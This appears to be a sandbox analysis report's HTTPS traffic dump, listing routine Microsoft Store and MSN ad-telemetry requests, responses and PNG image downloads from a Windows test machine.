8000000001392709&tid=700342084&reqasid=503d69dcabf0497192a0b80de8d4c17c&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=8a797e6ed978405692c4acbf4650873f&time=20220526T114650Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:05 UTC 10354 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 82652c94-f774-40ca-90f7-1c71250f3c16
Date: Thu, 26 May 2022 11:47:05 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

123 192.168.2.4 49891 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:06 UTC 10355 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&b
Src=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114651Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:06 UTC 10355 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 0872e60c-22c3-4a53-81b4-f986babb4180
Date: Thu, 26 May 2022 11:47:05 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

124 192.168.2.4 49892 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:06 UTC 10355 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid
=128000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114655Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:06 UTC 10356 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: bf2ef31a-3710-464e-8979-9f9ed070f4b8
Date: Thu, 26 May 2022 11:47:05 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

125 192.168.2.4 49893 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:06 UTC 10356 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114655Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:06 UTC 10357 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 829e9c20-2e24-4810-9c87-a9811ad5dc99
Date: Thu, 26 May 2022 11:47:06 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

126 192.168.2.4 49894 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:47:06 UTC 10357 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid
=128000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114656Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:06 UTC 10357 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: e91b09bb-6246-428f-b1bd-98f250e48e4f
Date: Thu, 26 May 2022 11:47:06 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

127 192.168.2.4 49895 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:06 UTC 10358 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114657Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:07 UTC 10358 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 46559cf0-1e3a-46af-8244-d159a1cb569a
Date: Thu, 26 May 2022 11:47:06 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

128 192.168.2.4 49896 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:07 UTC 10358 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&b
Src=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114658Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:07 UTC 10359 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 64a29293-bd82-45df-9b4b-84c2a371bbf5
Date: Thu, 26 May 2022 11:47:06 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

129 192.168.2.4 49897 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:47:07 UTC 10359 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid
=128000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSr
c=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114659Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:07 UTC 10360 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: b16f9329-c627-489a-90c6-9ca23dfa7c06
Date: Thu, 26 May 2022 11:47:07 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

13 192.168.2.4 49730 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:29 UTC 123 OUT GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-3
6ff7b9e590a?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:29 UTC 151 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 8756
Content-Type: image/png
Last-Modified: Tue, 31 Mar 2020 18:42:50 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTBFMkI5NzY"
MS-CV: LWC80YNOokeu7YAI.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:29 UTC 151 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
21 fb 49 44 41 54 78 da ed 9d 09 98 54 d5 99 bf bf 5a 7a 83 86 6e a0 51 76 94 55 1b d9 dd 45 23 46 8d 26 c4 a0 13 5c 
92 19 93 49 1c 9e ff df 99 c9 18 9d 24 2e 20 9a a8 33 79 cc 38 06 93 41 27 13 63 34 71 66 e2 02 ca 62 02 24 51 13 83 2c 
51 49 a2 a0 60 b3 08 08 0d d2 0d bd 56 75 f7 bd 53 55 5d 55 7d ea de 73 ee bd d5 dd 60 03 ef 3b cf 49 57 df a2 0a ba 93 
7a e7 fb 7e f7 bb e7 86 05 00 e0 18 21 cc af 00 00 10 16 00 00 c2 02 00 84 05 00 80 b0 00 00 10 16 00 20 2c 00 00 84 05 
00 80 b0 00 00 61 01 00 20 2c 00 00 84 05 00 08 0b 00 00 61 01 00 20 2c 00 40 58 00 00 08 0b 00 00 61 01 00 c2 02 00 
40 58 00 00 08 0b 00 10 16 00 00 c2 02 00 40 58 00 80 b0 00 00 10 
Data Ascii: PNGIHDR,,y}u!IDATxTZznQvUE#F&\I$. 3y8A'c4qfb$Q,QI`VuSU]U}s`;IWz~! ,a ,a ,@Xa@X@X

Session ID Source IP Source Port Destination IP
Destination
Port

Process

130 192.168.2.4 49898 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:07 UTC 10360 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i
.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114659Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:07 UTC 10360 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 206bb83b-10a6-4e2a-aced-dad02b64ae50
Date: Thu, 26 May 2022 11:47:07 GMT
Connection: close
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

131 192.168.2.4 49899 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:08 UTC 10361 OUT GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid
=128000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&an
id=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoob
e&bSrc=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114700Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:08 UTC 10361 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: d446eb18-5b82-4c33-a508-f55add68fbd9
Date: Thu, 26 May 2022 11:47:07 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

132 192.168.2.4 49900 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:08 UTC 10361 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=c69b812bb0ae4b12bda8ee4358d8f4cd&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&b
Src=i.t&asid=c7a8b22123bf4f0d817b2043a0b86bd8&time=20220526T114700Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:08 UTC 10362 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 4b666fe7-c8ea-4d78-9882-c0e6dd870bee
Date: Thu, 26 May 2022 11:47:08 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

133 192.168.2.4 49901 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:47:16 UTC 10362 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20220526T114715Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=51be641ae3a54b9d9648ac13fd1c5b30&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1531774&metered=false&nettype=ethernet&npid=sc-
310091&oemName=dchdpw%2C%20Inc.&oemid=dchdpw%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
dchdpw7%2C1&tl=2&tsu=1531774&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32089&sc=6
X-SDK-HW-TOKEN: t=EwDgAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAbwrbtMyfWYS5LvcRdrN/YSSKm7T30Or
y91THhxVtQ/u1C3XsQR1j/Gul4xhrmxkJ/gRWPmUWRRJjWEonDG3ItND8f5ZyKAKn68VfEM82j6MiB1nRrIPc5mcvr
5ppuO3MEO3yfUDxhgPzM1q2X7H6CJOKTrKEEZtndFDkdCLWN6yKLyBxwSDWaxcfmhc5AJhQpozniuJsgoCeIUxhqim
nMEUPBEwYC5+lMDPYZgC/+mKsowcqL91dribsrM4GGSYJREfBbXzYBwh5TqEpzN6Vh2rv4EyZqbMSZduX6HxpSlHnr
UoW4HxeMqwv68R+xcUcl1lb/NhkRpvR55/LtRTIwUDZgAACOXYsDpcd+FbsAEZgFyCIJf7AMEhmVsQI7CJNBsx1FsB
JJExFGguvnAOi/SHHvVJc7NQpodB2j2TLPIPcTKqICi4CkorOVsbK3xP99Z77/WJ7w05fvan2XtdlE/Wrbq1hleWA8
B0ZCDjwWcDoFY29FzLlvOQ7Xw6e1O1qmhwu6Cm0OtaITUgO7yEuNTaDXgN7PtVHWPLnsjJ7bX2wLxnK7dgderuA1hb
9mCWnCI6bNR2raNpGrSf0um26og0EJ+KGevRUMPmw0xQjHDj7I4HAHkzFf1JtmkcJHatploP8ydbeo/dzo3lITpE/X
41fmjCli5hr2cGbm4p8Iu/V999IoLolvTkdA/lmtU+P8uUpgG+cIDvnARNwdPuMZxY+4Fm5jRqA9WGS+Ty+SvD7gIo
sOI1Id4Yu4ptiN6H6tggaL5FDPRlWp/JxBsmqk8WeUMp7kMRXgCrAKJmqB3avzo2t9lmP232tukV4Pve99JdL7O+0+
iLrUblDLcMSDEwqGtEMfCD/qCmplrMxiqonJvk0NMCVHEe4HMFFlRozQM0NfbGHSFLnUinvmkGSuP3/++asME0vSlN
8fAzaP/aAQ==&p=
Cache-Control: no-cache
MS-CV: ZzmvxQo5vEaTaf5Z.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-26 11:47:16 UTC 10364 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: ZlbnQsDh14nLItn7JgMUS6mAsesyCyV9I5uoPpIfyjJJZLkHgrqRQLy2yX7qAxcVZDP8eEgLxEOCZQ6
4kl+wNNm4MJvN61gOCAYBKC3NQkKtO/rErgE9m+0M93ysiAnP64/DEAnTh+PnRzEaYFQoCMs26JfB9vWlQLTtBiGca
sgs+R6BxDvIQgp3DsOLlxjGaa5Vta2izsNus2VyvVyaI3Yx9EFfXa7PN3ygUJ2/uPgvgy89NEN19Hx8bNVUxOoolJR
DtQ1gGD1742mB8vM7r7IMJrA/6hpJxTdmVrWTr/KpQjM5btEgsDsUn4XJ7QTEuLejpeYzoc0qOWXbEPB8aQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:47:16 GMT
Connection: close

2022-05-26 11:47:16 UTC 10365 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 
22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 
73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 
20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 35 2d 32 
36 54 31 35 3a 34 37 3a 31 36 22 7d 7d 
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No e
ligible content.)."}],"refreshtime":"2022-05-26T15:47:16"}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

134 192.168.2.4 49902 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:22 UTC 10365 OUT POST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 1525
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache

2022-05-26 11:47:22 UTC 10366 OUT Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 
30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 39 30 30 34 31 37 30 36 34 26 50 47 3d 50 43 30 30 30 50 
30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 
30 44 34 41 32 38 46 42 45 41 45 36 34 45 34 46 39 35 34 46 34 31 42 30 30 43 39 33 32 39 34 46 26 41 53 49 44 3d 36 
37 64 65 36 66 36 31 61 37 35 39 34 61 37 65 61 34 66 36 30 61 34 35 65 62 61 33 61 34 37 31 26 54 49 4d 45 3d 32 30 
32 32 30 35 32 36 54 31 31 34 37 31 35 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 35 32 36 54 31 31 34 
36 33 39 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 31 41 34 
Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=900417064&PG=PC000P0FR5
.0000000IRT&TPID=400091688&REQASID=0D4A28FBEAE64E4F954F41B00C93294F&ASID=67de6f61a7594a7ea
4f60a45eba3a471&TIME=20220526T114715Z&SLOT=1&REQT=20220526T114639&MA_Score=2&PERSID=1A4
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2022-05-26 11:47:22 UTC 10367 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: []
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:47:22 GMT
Connection: close
Content-Length: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

135 192.168.2.4 49903 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:23 UTC 10367 OUT GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKT
OP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700
129702&AN=900417064&PG=PC000P0FR5.0000000IRT&REQASID=0D4A28FBEAE64E4F954F41B00C93294F&UNID
=338388&ASID=67de6f61a7594a7ea4f60a45eba3a471&PERSID=1A4A490328ED3BBECC8505EAE64E45F5&GLOB
ALDEVICEID=6966530473343700&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=c959f2
56e9ab433b8f22f14cb639eefa&DEVOSVER=10.0.17134.1&REQT=20220526T114639&TIME=20220526T114715
Z&ARCRAS=&CLR=CDM HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:23 UTC 10368 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: eab50215-77da-44d2-a020-e3068d6f647e
Date: Thu, 26 May 2022 11:47:22 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

136 192.168.2.4 49904 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:47:23 UTC 10368 OUT GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKT
OP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700
129702&AN=900417064&PG=PC000P0FR5.0000000IRT&REQASID=0D4A28FBEAE64E4F954F41B00C93294F&UNID
=338388&ASID=67de6f61a7594a7ea4f60a45eba3a471&PERSID=1A4A490328ED3BBECC8505EAE64E45F5&GLOB
ALDEVICEID=6966530473343700&LOCALID=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&DS_EVTID=c959f2
56e9ab433b8f22f14cb639eefa&DEVOSVER=10.0.17134.1&REQT=20220526T114639&TIME=20220526T114716
Z&ARCRAS=&CLR=CDM HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-26 11:47:23 UTC 10369 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2677f1e7-ce44-466f-82ba-93c8bd5159c4
Date: Thu, 26 May 2022 11:47:23 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

14 192.168.2.4 49731 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:29 UTC 138 OUT GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-
a610abdc7713?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-26 11:45:29 UTC 160 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 29489
Content-Type: image/png
Last-Modified: Thu, 24 May 2018 00:36:03 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTRBMjBFNDk"
MS-CV: ueR7a/BKZkGigRoU.0
Access-Control-Expose-Headers: MS-CV
Date: Thu, 26 May 2022 11:45:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-26 11:45:29 UTC 160 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 02 6c 08 06 00 00 00 40 95 ff 25 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 40 00 49 44 41 54 78 01 ec 9d 07 9c 5c 57 79 b7 df dd d9 de bb 56 ab de 65 59 b6 
e5 de 30 d5 40 28 09 21 04 48 20 21 84 1e 92 ef 0b e4 a3 25 21 84 00 01 52 80 10 48 42 8b 83 29 36 25 c6 dd c6 36 ee 
55 b2 65 4b 96 ad 5e 56 d2 f6 be b3 3b bd 7d e7 8c 91 51 d9 9d bd 77 e6 de 99 5b 9e e3 df 78 67 ee 3d e5 7d 9f f7 6a f6 
bf a7 96 05 ba 2f cd 08 09 02 10 80 00 04 20 00 01 08 40 c0 b1 04 ca 1d 6b 19 86 41 00 02 10 80 00 04 20 00 01 08 64 0
